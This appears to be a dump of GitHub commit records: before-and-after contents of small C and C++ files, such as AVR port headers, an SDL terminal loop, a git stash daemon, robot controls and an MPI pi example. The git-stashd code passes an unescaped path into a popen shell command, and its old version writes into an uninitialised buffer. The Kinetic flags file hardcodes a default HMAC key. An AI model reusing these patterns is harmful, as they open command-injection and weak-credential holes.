Zabavnov\n *\/ \n\n#ifndef ATLSTD_H_\n#define ATLSTD_H_\n\n#include <atlport.h>\n\nnamespace atl {\nnamespace std {\n\nusing namespace atl;\n\n\/\/ standard ports\n\n#ifdef PORTA\nconstexpr Port PortA = Port(_SFR_IO_ADDR(PORTA), _SFR_IO_ADDR(DDRA), _SFR_IO_ADDR(PINA));\n#endif\n\n#ifdef PORTB\nconstexpr Port PortB = Port(_SFR_IO_ADDR(PORTB), _SFR_IO_ADDR(DDRB), _SFR_IO_ADDR(PINB));\n#endif\n\n#ifdef PORTC\nconstexpr Port PortC = Port(_SFR_IO_ADDR(PORTC), _SFR_IO_ADDR(DDRC), _SFR_IO_ADDR(PINC));\n#endif\n\n#ifdef PORTD\nconstexpr Port PortD = Port(_SFR_IO_ADDR(PORTD), _SFR_IO_ADDR(DDRD), _SFR_IO_ADDR(PIND));\n#endif\n\n}\n}\n\n#endif \/* ATLSTD_H_ *\/","subject":"Make ports constexpr to further reduce binary size","message":"Make ports constexpr to further reduce binary size\n","lang":"C","license":"apache-2.0","repos":"vzabavnov\/AVRTL,vzabavnov\/AVRTL"}
{"commit":"58e3fdf77ae8adcb89ea5af6fc50a1b2859a485b","old_file":"src\/log_example.c","new_file":"src\/log_example.c","old_contents":"\/\/ cc log_example.c log.c\n\n#include \"log.h\"\n\nint main(int argc, const char *argv[])\n{\n    log_open(\"example\", NULL, 0);\n    \/* set log level to info, also the default level *\/\n    log_setlevel(LOG_INFO);\n    \/* debug mesage won't be seen *\/\n    log_debug(\"debug message\");\n    \/* but info and warn message can be seen *\/\n    log_info(\"info message\");\n    log_warn(\"warn message\");\n    return 0;\n}\n","new_contents":"\/\/ cc log_example.c log.c\n\n#include \"log.h\"\n\nint main(int argc, const char *argv[])\n{\n    \/* open global logger to stderr (by setting filename to NULL) *\/\n    log_open(\"example\", NULL, 0);\n    \/* set log level to info, also the default level *\/\n    log_setlevel(LOG_INFO);\n    \/* debug mesage won't be seen *\/\n    log_debug(\"debug message\");\n    \/* but info and warn message can be seen *\/\n    log_info(\"info message\");\n    log_warn(\"warn message\");\n    return 0;\n}\n","subject":"Add minor comment for log_open","message":"Add minor comment for log_open\n","lang":"C","license":"bsd-2-clause","repos":"hit9\/C-Snip,hit9\/C-Snip"}
{"commit":"2485a7bb9de55290ece1edef973b40bae82f55be","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"apricosterm.h\"\n#include \"screen.h\"\n\nint main(int argc, char** argv) {\n    SDL_Event event;\n    initScreen(\"Potato\", SCREEN_WIDTH, SCREEN_HEIGHT);\n    char done = 0;\n\n    while(!done) {\n        while(SDL_PollEvent(&event)) {\n            switch(event.key.keysym.sym) {\n                case SDLK_ESCAPE:\n                    done = 1;\n                    break;\n            }\n        }\n        SDL_Delay(100);\n        updateWindow();\n    }\n    destroyScreen();\n    \n    return EXIT_SUCCESS;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"apricosterm.h\"\n#include \"screen.h\"\n#include \"terminalrenderer.h\"\n#include \"managedtextures.h\"\n\nint main(int argc, char** argv) {\n    SDL_Event event;\n    initScreen(\"Potato\", SCREEN_WIDTH, SCREEN_HEIGHT);\n    char done = 0;\n    termRendererInit();\n\n    SDL_StartTextInput();\n    while(!done) {\n        while(SDL_PollEvent(&event)) {\n            switch(event.type) {\n                case SDL_KEYDOWN:\n                    switch(event.key.keysym.sym) {\n                        case SDLK_ESCAPE:\n                            done = 1;\n                            break;\n                        case SDLK_RETURN:\n                            terminalNewLine(1, 1);\n                            break;\n                        case SDLK_BACKSPACE:\n                            terminalBackspace(1);\n                            break;\n                        default:\n                            break;\n                    }\n                    break;\n                case SDL_TEXTINPUT:\n                    terminalPutStr(event.text.text);\n                    break;\n                case SDL_QUIT:\n                    done = 1;\n                    break;\n                default:\n                    break;\n            }\n        }\n        SDL_Delay(10);\n        terminalRefresh();\n    }\n\n    \n    SDL_StopTextInput();\n    destroyAllTextures();\n    destroyScreen();\n    \n    return EXIT_SUCCESS;\n}\n","subject":"Integrate terminal renderer for testing","message":"Integrate terminal renderer for testing\n","lang":"C","license":"mit","repos":"drdanick\/apricosterm"}
{"commit":"17d53a1d40b1d15f08a80f9f03dd3922156d9fb6","old_file":"src\/repo.c","new_file":"src\/repo.c","old_contents":"\/**\n * repo.c\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n\n#include \"repo.h\"\n\n\/**\n * Get all stashes for a repository.\n *\/\nstruct stash *get_stashes (struct repo *r) {\n\treturn r->stashes;\n}\n\n\/**\n * Set a copy of all stashes for a repository in memory.\n *\/\nvoid set_stashes (struct repo *r) {\n\t\/\/ @todo: Build this function out.\n\tchar *cmd;\n\tFILE *fp;\n\n\tprintf(\"set_stashes -> r->path -> %s\\n\", r->path);\n\n\tsprintf(cmd, \"\/usr\/bin\/git -C %s -- stash list\", r->path);\n\n\tfp = popen(cmd, \"r\");\n\n\tif (!fp) {\n\t\tprintf(\"Could not open pipe!\\n\");\n\n\t\texit(EXIT_FAILURE);\n\t}\n\n\twhile (fgets(r->stashes->entries, (sizeof(r->stashes->entries) - 1), fp) != NULL) {\n\t\tprintf(\"%s\\n\", r->stashes->entries);\n\t}\n\n\tpclose(fp);\n}\n\n\n\/**\n * Check if the worktree has changed since our last check.\n *\/\nint has_worktree_changed (struct repo *r) {\n\treturn 1;\n}\n","new_contents":"\/**\n * repo.c\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n#include \"repo.h\"\n\n\/**\n * Get all stash entries for a repository.\n *\/\nstruct stash *get_stash (struct repo *r) {\n\treturn r->stash;\n}\n\n\/**\n * Set a copy of all stash entries for a repository.\n *\/\nvoid set_stash (struct repo *r) {\n\tchar *cmd;\n\tFILE *fp;\n\n\t\/\/ Allocate space for command string\n\tcmd = ALLOC(sizeof(char) * (strlen(r->path) + 100));\n\n\tsprintf(cmd, \"\/usr\/bin\/git -C %s stash list\", r->path);\n\tprintf(\"set_stashes -> cmd -> %s\\n\", cmd);\n\n\tfp = popen(cmd, \"r\");\n\n\tif (!fp) {\n\t\tprintf(\"Could not open pipe!\\n\");\n\n\t\texit(EXIT_FAILURE);\n\t}\n\n\twhile (fgets(r->stash->entries, (sizeof(r->stash->entries) - 1), fp) != NULL) {\n\t\tprintf(\"%s\\n\", r->stash->entries);\n\t}\n\n\t\/\/ Free space allocated for commnad string\n\tFREE(cmd);\n\tpclose(fp);\n}\n\n\n\/**\n * Check if the worktree has changed since the last check.\n *\/\nint has_worktree_changed (struct repo *r) {\n\treturn 1;\n}\n","subject":"Work on stash retrieval, memory allocation","message":"Work on stash retrieval, memory allocation\n","lang":"C","license":"mit","repos":"nickolasburr\/git-stashd,nickolasburr\/git-stashd,nickolasburr\/git-stashd"}
{"commit":"ca1f8cba176ba3dbbbed7ebee2e0399f94c548a1","old_file":"src\/user.c","new_file":"src\/user.c","old_contents":"task usercontrol(){\n\tint DY, DT;\n\tbool armsLocked = false;\n\n\twhile(true){\n\t\t\/\/Driving\n\t\tDY = threshold(PAIRED_CH2, 15);\n\t\tDT = threshold(PAIRED_CH1, 15);\n\t\tdrive(DY, DT);\n\n\t\t\/\/Pistons (toggle)\n\t\tif(PAIRED_BTN7R){\n\t\t\tpistons(!PISTON_POS);\n\t\t\twaitUntil(!PAIRED_BTN7R);\n\t\t}\n\n\t\t\/\/Arms\n\t\tif(PAIRED_BTN7L){\n\t\t\tarmsLocked = !armsLocked;\n\t\t\twaitUntil(!PAIRED_BTN7L);\n\t\t}\n\t\tif(armsLocked){\n\t\t\tarms(ARM_LOCK);\n\t\t} else {\n\t\t\tarms((PAIRED_BTN6U - PAIRED_BTN6D) * MAX_POWER);\n\t\t}\n\n\t\t\/\/Lift\n\t\tlift((PAIRED_BTN7U - PAIRED_BTN7D) * MAX_POWER);\n\n\t\t\/\/Intake\n\t\tintake((PAIRED_BTN5U - PAIRED_BTN5D) * MAX_POWER);\n\t}\n}\n","new_contents":"task usercontrol(){\n\tint DY, DT;\n\tbool armsLocked = false;\n\n\twhile(true){\n\t\t\/\/Driving\n\t\tDY = threshold(PAIRED_CH2, 15) + (PAIRED_BTN8U * MAX_POWER) - (PAIRED_BTN8D * MAX_POWER);\n\t\tDT = threshold(PAIRED_CH1, 15) + (PAIRED_BTN8R * MAX_POWER) - (PAIRED_BTN8L * MAX_POWER);\n\t\tdrive(DY, DT);\n\n\t\t\/\/Pistons (toggle)\n\t\tif(PAIRED_BTN7R){\n\t\t\tpistons(!PISTON_POS);\n\t\t\twaitUntil(!PAIRED_BTN7R);\n\t\t}\n\n\t\t\/\/Arms\n\t\tif(PAIRED_BTN7L){\n\t\t\tarmsLocked = !armsLocked;\n\t\t\twaitUntil(!PAIRED_BTN7L);\n\t\t}\n\t\tif(armsLocked){\n\t\t\tarms(ARM_LOCK);\n\t\t} else {\n\t\t\tarms(threshold(PAIRED_CH3, 15) + ((PAIRED_BTN5U - PAIRED_BTN5D) * MAX_POWER));\n\t\t}\n\n\t\t\/\/Lift\n\t\tlift((PAIRED_BTN7U - PAIRED_BTN7D) * MAX_POWER);\n\n\t\t\/\/Intake\n\t\tintake((PAIRED_BTN6U - PAIRED_BTN6D) * MAX_POWER);\n\t}\n}\n","subject":"Add buttons for driving, and swap intake and arm buttons","message":"Add buttons for driving, and swap intake and arm buttons\n","lang":"C","license":"mit","repos":"18moorei\/code-red-in-the-zone"}
{"commit":"d19c36737dd3d2111911c411b19f1a270415b079","old_file":"SMLTextViewPrivate.h","new_file":"SMLTextViewPrivate.h","old_contents":"\/\/\n\/\/  SMLTextViewPrivate.h\n\/\/  Fragaria\n\/\/\n\/\/  Created by Daniele Cattaneo on 26\/02\/15.\n\/\/\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"SMLTextView.h\"\n#import \"SMLAutoCompleteDelegate.h\"\n\n\n@interface SMLTextView ()\n\n\n\/** The autocomplete delegate for this text view. This property is private\n * because it is set to an internal object when MGSFragaria's autocomplete\n * delegate is set to nil. *\/\n@property id<SMLAutoCompleteDelegate> autocompleteDelegate;\n\n\/** The controller which manages the accessory user interface for this text\n * view. *\/\n@property (readonly) MGSExtraInterfaceController *interfaceController;\n\n\/** Instances of this class will perform syntax highlighting in text views. *\/\n@property (readonly) SMLSyntaxColouring *syntaxColouring;\n\n\n@end\n","new_contents":"\/\/\n\/\/  SMLTextViewPrivate.h\n\/\/  Fragaria\n\/\/\n\/\/  Created by Daniele Cattaneo on 26\/02\/15.\n\/\/\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"SMLTextView.h\"\n#import \"SMLAutoCompleteDelegate.h\"\n\n\n@interface SMLTextView ()\n\n\n\/** The autocomplete delegate for this text view. This property is private\n * because it is set to an internal object when MGSFragaria's autocomplete\n * delegate is set to nil. *\/\n@property (weak) id<SMLAutoCompleteDelegate> autocompleteDelegate;\n\n\/** The controller which manages the accessory user interface for this text\n * view. *\/\n@property (readonly) MGSExtraInterfaceController *interfaceController;\n\n\/** Instances of this class will perform syntax highlighting in text views. *\/\n@property (readonly) SMLSyntaxColouring *syntaxColouring;\n\n\n@end\n","subject":"Use weak attribute for the autocompleteDelegate property of SMLTextView.","message":"Use weak attribute for the autocompleteDelegate property of SMLTextView.\n","lang":"C","license":"apache-2.0","repos":"shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,vakoc\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,bitstadium\/Fragaria,shysaur\/Fragaria,bitstadium\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,vakoc\/Fragaria,shysaur\/Fragaria"}
{"commit":"0d91ee8a0d9b26e4847ce5724a08a0d5160b38e8","old_file":"app\/src\/main\/jni\/scavenger.c","new_file":"app\/src\/main\/jni\/scavenger.c","old_contents":"#include <jni.h>\n#include <android\/log.h>\n\nJNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved)\n{\n    __android_log_print(ANDROID_LOG_VERBOSE, \"Scavenger Jni\", \"JNI_OnLoad is called\");\n}","new_contents":"#include <jni.h>\n#include <signal.h>\n#include <android\/log.h>\n\n#define CATCHSIG(X) sigaction(X, &handler, &old_sa[X])\n\nstatic struct sigaction old_sa[NSIG];\n\nvoid android_sigaction(int signal, siginfo_t *info, void *reserved) {\n    \/\/ TODO invoke java method\n}\n\nJNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved)\n{\n    __android_log_print(ANDROID_LOG_VERBOSE, \"Scavenger Jni\", \"JNI_OnLoad is called\");\n    struct sigaction handler;\n    memset(&handler, 0, sizeof(sigaction));\n    handler.sa_sigaction = android_sigaction;\n    handler.sa_flags = SA_RESETHAND;\n    CATCHSIG(SIGILL);\n    CATCHSIG(SIGABRT);\n    CATCHSIG(SIGBUS);\n    CATCHSIG(SIGFPE);\n    CATCHSIG(SIGSEGV);\n    CATCHSIG(SIGPIPE);\n    return JNI_VERSION_1_4;\n}","subject":"Add jni code to catch crash signal","message":"Add jni code to catch crash signal\n","lang":"C","license":"apache-2.0","repos":"Shunix\/Scavenger,Shunix\/Scavenger"}
{"commit":"fce8f063e38d86725b6b4d81c1ff42a82194146b","old_file":"test\/acm_random.h","new_file":"test\/acm_random.h","old_contents":"\/*\n *  Copyright (c) 2012 The WebM project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef LIBVPX_TEST_ACM_RANDOM_H_\n#define LIBVPX_TEST_ACM_RANDOM_H_\n\n#include <stdint.h>\n#include <stdlib.h>\n\nnamespace libvpx_test {\n\nclass ACMRandom {\n public:\n  explicit ACMRandom(int seed) {\n    Reset(seed);\n  }\n\n  void Reset(int seed) {\n    srand(seed);\n  }\n\n  uint8_t Rand8(void) {\n    return (rand() >> 8) & 0xff;\n  }\n\n  int PseudoUniform(int range) {\n    return (rand() >> 8) % range;\n  }\n\n  int operator()(int n) {\n    return PseudoUniform(n);\n  }\n\n  static int DeterministicSeed(void) {\n    return 0xbaba;\n  }\n};\n\n}  \/\/ namespace libvpx_test\n\n#endif  \/\/ LIBVPX_TEST_ACM_RANDOM_H_\n","new_contents":"\/*\n *  Copyright (c) 2012 The WebM project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef LIBVPX_TEST_ACM_RANDOM_H_\n#define LIBVPX_TEST_ACM_RANDOM_H_\n\n#include <stdlib.h>\n\n#include \"vpx\/vpx_integer.h\"\n\nnamespace libvpx_test {\n\nclass ACMRandom {\n public:\n  explicit ACMRandom(int seed) {\n    Reset(seed);\n  }\n\n  void Reset(int seed) {\n    srand(seed);\n  }\n\n  uint8_t Rand8(void) {\n    return (rand() >> 8) & 0xff;\n  }\n\n  int PseudoUniform(int range) {\n    return (rand() >> 8) % range;\n  }\n\n  int operator()(int n) {\n    return PseudoUniform(n);\n  }\n\n  static int DeterministicSeed(void) {\n    return 0xbaba;\n  }\n};\n\n}  \/\/ namespace libvpx_test\n\n#endif  \/\/ LIBVPX_TEST_ACM_RANDOM_H_\n","subject":"Use vpx_integer.h instead of stdint.h","message":"Use vpx_integer.h instead of stdint.h\n\nvpx_integer accounts for win32, which does not have stdint.h\n\nChange-Id: I0ecf243ba56ed2e920e1293a6876c2e1ef1af99e\n","lang":"C","license":"bsd-3-clause","repos":"gshORTON\/webm.libvpx,jmvalin\/aom,liqianggao\/libvpx,iniwf\/webm.libvpx,Acidburn0zzz\/webm.libvpx,kalli123\/webm.libvpx,ittiamvpx\/libvpx-1,pcwalton\/libvpx,turbulenz\/libvpx,ShiftMediaProject\/libvpx,kleopatra999\/webm.libvpx,mwgoldsmith\/vpx,mwgoldsmith\/vpx,shareefalis\/libvpx,goodleixiao\/vpx,charup\/https---github.com-webmproject-libvpx-,Laknot\/libvpx,felipebetancur\/libvpx,GrokImageCompression\/aom,vasilvv\/esvp8,luctrudeau\/aom,thdav\/aom,jdm\/libvpx,pcwalton\/libvpx,mbebenita\/aom,webmproject\/libvpx,n4t\/libvpx,hsueceumd\/test_hui,vasilvv\/esvp8,iniwf\/webm.libvpx,matanbs\/webm.libvpx,VTCSecureLLC\/libvpx,mwgoldsmith\/vpx,Suvarna1488\/webm.libvpx,goodleixiao\/vpx,luctrudeau\/aom,shareefalis\/libvpx,ittiamvpx\/libvpx,shyamalschandra\/libvpx,running770\/libvpx,jmvalin\/aom,hsueceumd\/test_hui,ShiftMediaProject\/libvpx,shareefalis\/libvpx,Topopiccione\/libvpx,stewnorriss\/libvpx,shyamalschandra\/libvpx,ittiamvpx\/libvpx-1,GrokImageCompression\/aom,shyamalschandra\/libvpx,ittiamvpx\/libvpx-1,luctrudeau\/aom,Distrotech\/libvpx,running770\/libvpx,n4t\/libvpx,mbebenita\/aom,kalli123\/webm.libvpx,reimaginemedia\/webm.libvpx,jacklicn\/webm.libvpx,iniwf\/webm.libvpx,shareefalis\/libvpx,matanbs\/webm.libvpx,ittiamvpx\/libvpx-1,WebRTC-Labs\/libvpx,reimaginemedia\/webm.libvpx,Maria1099\/webm.libvpx,kim42083\/webm.libvpx,openpeer\/libvpx_new,zofuthan\/libvpx,running770\/libvpx,kalli123\/webm.libvpx,matanbs\/webm.libvpx,n4t\/libvpx,cinema6\/libvpx,altogother\/webm.libvpx,kim42083\/webm.libvpx,jmvalin\/aom,mwgoldsmith\/vpx,goodleixiao\/vpx,thdav\/aom,hsueceumd\/test_hui,cinema6\/libvpx,Distrotech\/libvpx,ittiamvpx\/libvpx,goodleixiao\/vpx,iniwf\/webm.libvpx,lyx2014\/libvpx_c,matanbs\/webm.libvpx,shareefalis\/libvpx,turbulenz\/libvpx,kim42083\/webm.libvpx,felipebetancur\/libvpx,matanbs\/vp982,matanbs\/webm.libvpx,zofuthan\/libvpx,jdm\/libvpx,shacklettbp\/aom,Topopiccione\/libvpx,mbebenita\/aom,mbebenita\/aom,hsueceumd\/test_hui,liqianggao\/libvpx,openpeer\/libvpx_new,lyx2014\/libvpx_c,Laknot\/libvpx,gshORTON\/webm.libvpx,kleopatra999\/webm.libvpx,reimaginemedia\/webm.libvpx,Suvarna1488\/webm.libvpx,zofuthan\/libvpx,cinema6\/libvpx,smarter\/aom,stewnorriss\/libvpx,vasilvv\/esvp8,WebRTC-Labs\/libvpx,stewnorriss\/libvpx,zofuthan\/libvpx,shacklettbp\/aom,shyamalschandra\/libvpx,gshORTON\/webm.libvpx,turbulenz\/libvpx,smarter\/aom,ShiftMediaProject\/libvpx,Maria1099\/webm.libvpx,ittiamvpx\/libvpx-1,Acidburn0zzz\/webm.libvpx,turbulenz\/libvpx,thdav\/aom,Topopiccione\/libvpx,VTCSecureLLC\/libvpx,GrokImageCompression\/aom,mwgoldsmith\/vpx,shyamalschandra\/libvpx,abwiz0086\/webm.libvpx,Distrotech\/libvpx,ShiftMediaProject\/libvpx,liqianggao\/libvpx,Suvarna1488\/webm.libvpx,stewnorriss\/libvpx,jacklicn\/webm.libvpx,kleopatra999\/webm.libvpx,lyx2014\/libvpx_c,kalli123\/webm.libvpx,lyx2014\/libvpx_c,VTCSecureLLC\/libvpx,smarter\/aom,luctrudeau\/aom,smarter\/aom,zofuthan\/libvpx,kalli123\/webm.libvpx,webmproject\/libvpx,ittiamvpx\/libvpx-1,Distrotech\/libvpx,mbebenita\/aom,pcwalton\/libvpx,ShiftMediaProject\/libvpx,VTCSecureLLC\/libvpx,turbulenz\/libvpx,stewnorriss\/libvpx,VTCSecureLLC\/libvpx,mwgoldsmith\/libvpx,charup\/https---github.com-webmproject-libvpx-,running770\/libvpx,hsueceumd\/test_hui,pcwalton\/libvpx,kim42083\/webm.libvpx,gshORTON\/webm.libvpx,mwgoldsmith\/libvpx,running770\/libvpx,turbulenz\/libvpx,GrokImageCompression\/aom,Suvarna1488\/webm.libvpx,vasilvv\/esvp8,charup\/https---github.com-webmproject-libvpx-,Topopiccione\/libvpx,Laknot\/libvpx,vasilvv\/esvp8,WebRTC-Labs\/libvpx,WebRTC-Labs\/libvpx,shacklettbp\/aom,iniwf\/webm.libvpx,charup\/https---github.com-webmproject-libvpx-,Maria1099\/webm.libvpx,altogother\/webm.libvpx,sanyaade-teachings\/libvpx,mwgoldsmith\/libvpx,Distrotech\/libvpx,jdm\/libvpx,cinema6\/libvpx,thdav\/aom,jacklicn\/webm.libvpx,jacklicn\/webm.libvpx,cinema6\/libvpx,webmproject\/libvpx,felipebetancur\/libvpx,matanbs\/vp982,turbulenz\/libvpx,ittiamvpx\/libvpx,shacklettbp\/aom,matanbs\/vp982,mbebenita\/aom,kleopatra999\/webm.libvpx,Acidburn0zzz\/webm.libvpx,mbebenita\/aom,gshORTON\/webm.libvpx,felipebetancur\/libvpx,abwiz0086\/webm.libvpx,sanyaade-teachings\/libvpx,VTCSecureLLC\/libvpx,sanyaade-teachings\/libvpx,Topopiccione\/libvpx,Maria1099\/webm.libvpx,openpeer\/libvpx_new,thdav\/aom,webmproject\/libvpx,shyamalschandra\/libvpx,jmvalin\/aom,running770\/libvpx,mbebenita\/aom,felipebetancur\/libvpx,liqianggao\/libvpx,goodleixiao\/vpx,smarter\/aom,Distrotech\/libvpx,goodleixiao\/vpx,ittiamvpx\/libvpx,Acidburn0zzz\/webm.libvpx,gshORTON\/webm.libvpx,altogother\/webm.libvpx,altogother\/webm.libvpx,mwgoldsmith\/libvpx,turbulenz\/libvpx,altogother\/webm.libvpx,pcwalton\/libvpx,hsueceumd\/test_hui,reimaginemedia\/webm.libvpx,openpeer\/libvpx_new,matanbs\/vp982,mwgoldsmith\/libvpx,n4t\/libvpx,vasilvv\/esvp8,zofuthan\/libvpx,luctrudeau\/aom,Suvarna1488\/webm.libvpx,matanbs\/vp982,shacklettbp\/aom,felipebetancur\/libvpx,kim42083\/webm.libvpx,webmproject\/libvpx,jdm\/libvpx,mbebenita\/aom,kim42083\/webm.libvpx,abwiz0086\/webm.libvpx,reimaginemedia\/webm.libvpx,webmproject\/libvpx,iniwf\/webm.libvpx,jmvalin\/aom,GrokImageCompression\/aom,charup\/https---github.com-webmproject-libvpx-,Acidburn0zzz\/webm.libvpx,cinema6\/libvpx,openpeer\/libvpx_new,kleopatra999\/webm.libvpx,abwiz0086\/webm.libvpx,jacklicn\/webm.libvpx,mwgoldsmith\/libvpx,pcwalton\/libvpx,turbulenz\/libvpx,Laknot\/libvpx,kleopatra999\/webm.libvpx,Maria1099\/webm.libvpx,stewnorriss\/libvpx,ittiamvpx\/libvpx,WebRTC-Labs\/libvpx,openpeer\/libvpx_new,abwiz0086\/webm.libvpx,Laknot\/libvpx,Maria1099\/webm.libvpx,jdm\/libvpx,vasilvv\/esvp8,shareefalis\/libvpx,matanbs\/vp982,luctrudeau\/aom,kalli123\/webm.libvpx,lyx2014\/libvpx_c,sanyaade-teachings\/libvpx,altogother\/webm.libvpx,jacklicn\/webm.libvpx,lyx2014\/libvpx_c,shacklettbp\/aom,matanbs\/vp982,Laknot\/libvpx,Acidburn0zzz\/webm.libvpx,GrokImageCompression\/aom,charup\/https---github.com-webmproject-libvpx-,smarter\/aom,liqianggao\/libvpx,mwgoldsmith\/vpx,thdav\/aom,ittiamvpx\/libvpx,abwiz0086\/webm.libvpx,matanbs\/webm.libvpx,n4t\/libvpx,Suvarna1488\/webm.libvpx,jmvalin\/aom,jdm\/libvpx,Topopiccione\/libvpx,cinema6\/libvpx,liqianggao\/libvpx,reimaginemedia\/webm.libvpx,sanyaade-teachings\/libvpx"}
{"commit":"1f3121d2ba227c0d3e7987b1297f00dfb83d7871","old_file":"src\/command_line_flags.h","new_file":"src\/command_line_flags.h","old_contents":"#ifndef COMMAND_LINE_FLAGS_H_\n#define COMMAND_LINE_FLAGS_H_\n\n#include \"kinetic\/kinetic.h\"\n\n#include \"gflags\/gflags.h\"\n\nDEFINE_string(host, \"localhost\", \"Kinetic Host\");\nDEFINE_uint64(port, 8123, \"Kinetic Port\");\nDEFINE_uint64(timeout, 30, \"Timeout\");\n\nvoid parse_flags(int *argc, char*** argv, std::unique_ptr<kinetic::ConnectionHandle>& connection) {\n    google::ParseCommandLineFlags(argc, argv, true);\n\n    kinetic::ConnectionOptions options;\n    options.host = FLAGS_host;\n    options.port = FLAGS_port;\n    options.user_id = 1;\n    options.hmac_key = \"asdfasdf\";\n\n    kinetic::KineticConnectionFactory kinetic_connection_factory = kinetic::NewKineticConnectionFactory();\n\n    if (!kinetic_connection_factory.NewConnection(options, FLAGS_timeout, connection).ok()) {\n        printf(\"Unable to connect\\n\");\n        exit(1);\n    }\n}\n\n\n#endif  \/\/ COMMAND_LINE_FLAGS_H_\n","new_contents":"#ifndef COMMAND_LINE_FLAGS_H_\n#define COMMAND_LINE_FLAGS_H_\n\n#include \"kinetic\/kinetic.h\"\n\n#include \"gflags\/gflags.h\"\n\nDEFINE_string(host, \"localhost\", \"Kinetic Host\");\nDEFINE_uint64(port, 8123, \"Kinetic Port\");\nDEFINE_uint64(timeout, 30, \"Timeout\");\nDEFINE_uint64(user_id, 1, \"Kinetic User ID\");\nDEFINE_string(hmac_key, \"asdfasdf\", \"Kinetic User HMAC key\");\n\nvoid parse_flags(int *argc, char*** argv, std::unique_ptr<kinetic::ConnectionHandle>& connection) {\n    google::ParseCommandLineFlags(argc, argv, true);\n\n    kinetic::ConnectionOptions options;\n    options.host = FLAGS_host;\n    options.port = FLAGS_port;\n    options.user_id = FLAGS_user_id;\n    options.hmac_key = FLAGS_hmac_key;\n\n    kinetic::KineticConnectionFactory kinetic_connection_factory = kinetic::NewKineticConnectionFactory();\n\n    if (!kinetic_connection_factory.NewConnection(options, FLAGS_timeout, connection).ok()) {\n        printf(\"Unable to connect\\n\");\n        exit(1);\n    }\n}\n\n\n#endif  \/\/ COMMAND_LINE_FLAGS_H_\n","subject":"Allow setting user id\/hmac key via command line params for setpin","message":"Allow setting user id\/hmac key via command line params for setpin\n","lang":"C","license":"unknown","repos":"Kinetic\/kinetic-cpp-examples,Seagate\/kinetic-cpp-examples,chenchongli\/kinetic-cpp-examples,chenchongli\/kinetic-cpp-examples,daasbank\/daasbank-kinetic-c-,Seagate\/kinetic-cpp-examples,Kinetic\/kinetic-cpp-examples,daasbank\/daasbank-kinetic-c-"}
{"commit":"0cf700533c55cf0343622d130c2645ea2c08d9fd","old_file":"src\/org\/objectweb\/proactive\/examples\/mpi\/cpi.c","new_file":"src\/org\/objectweb\/proactive\/examples\/mpi\/cpi.c","old_contents":"","new_contents":"\n#include <stdlib.h>\n#include <stdio.h>\n#include <mpi.h>\n\nmain(int argc, char **argv)\n{\n  register double width;\n  double sum = 0, lsum;\n  register int intervals, i; \n  int nproc, iproc;\n  MPI_Win sum_win;\n\n  if (MPI_Init(&argc, &argv) != MPI_SUCCESS) exit(1);\n  MPI_Comm_size(MPI_COMM_WORLD, &nproc);\n  MPI_Comm_rank(MPI_COMM_WORLD, &iproc);\n  MPI_Win_create(&sum, sizeof(sum), sizeof(sum),\n                 0, MPI_COMM_WORLD, &sum_win);\n  MPI_Win_fence(0, sum_win);\n  intervals = atoi(argv[1]);\n  width = 1.0 \/ intervals;\n  lsum = 0;\n  for (i=iproc; i<intervals; i+=nproc) {\n    register double x = (i + 0.5) * width;\n    lsum += 4.0 \/ (1.0 + x * x);\n  }\n  lsum *= width;\n  MPI_Accumulate(&lsum, 1, MPI_DOUBLE, 0, 0,\n                 1, MPI_DOUBLE, MPI_SUM, sum_win);\n  MPI_Win_fence(0, sum_win);\n  if (iproc == 0) {\n    printf(\"Estimation of pi is %f\\n\", sum);\n  }\n  MPI_Finalize();\n  return(0);\n}\n","subject":"Replace MPI source code instead of executive binary file. User will compile the source with its own mpi implementation.","message":"Replace MPI source code instead of executive binary file.\nUser will compile the source with its own mpi implementation.\n\ngit-svn-id: 9146c88ff6d39b48099bf954d15d68f687b3fa69@3133 28e8926c-6b08-0410-baaa-805c5e19b8d6\n","lang":"C","license":"agpl-3.0","repos":"ow2-proactive\/programming,mnip91\/programming-multiactivities,lpellegr\/programming,jrochas\/scale-proactive,acontes\/scheduling,mnip91\/proactive-component-monitoring,PaulKh\/scale-proactive,fviale\/programming,acontes\/scheduling,acontes\/programming,lpellegr\/programming,mnip91\/proactive-component-monitoring,ow2-proactive\/programming,fviale\/programming,PaulKh\/scale-proactive,acontes\/programming,paraita\/programming,lpellegr\/programming,acontes\/programming,mnip91\/programming-multiactivities,PaulKh\/scale-proactive,mnip91\/programming-multiactivities,PaulKh\/scale-proactive,ow2-proactive\/programming,acontes\/scheduling,paraita\/programming,jrochas\/scale-proactive,fviale\/programming,paraita\/programming,ow2-proactive\/programming,paraita\/programming,ow2-proactive\/programming,mnip91\/programming-multiactivities,jrochas\/scale-proactive,acontes\/programming,fviale\/programming,acontes\/scheduling,paraita\/programming,jrochas\/scale-proactive,mnip91\/proactive-component-monitoring,PaulKh\/scale-proactive,jrochas\/scale-proactive,mnip91\/programming-multiactivities,acontes\/programming,acontes\/programming,acontes\/scheduling,acontes\/scheduling,lpellegr\/programming,acontes\/programming,ow2-proactive\/programming,fviale\/programming,mnip91\/proactive-component-monitoring,PaulKh\/scale-proactive,jrochas\/scale-proactive,mnip91\/proactive-component-monitoring,aconte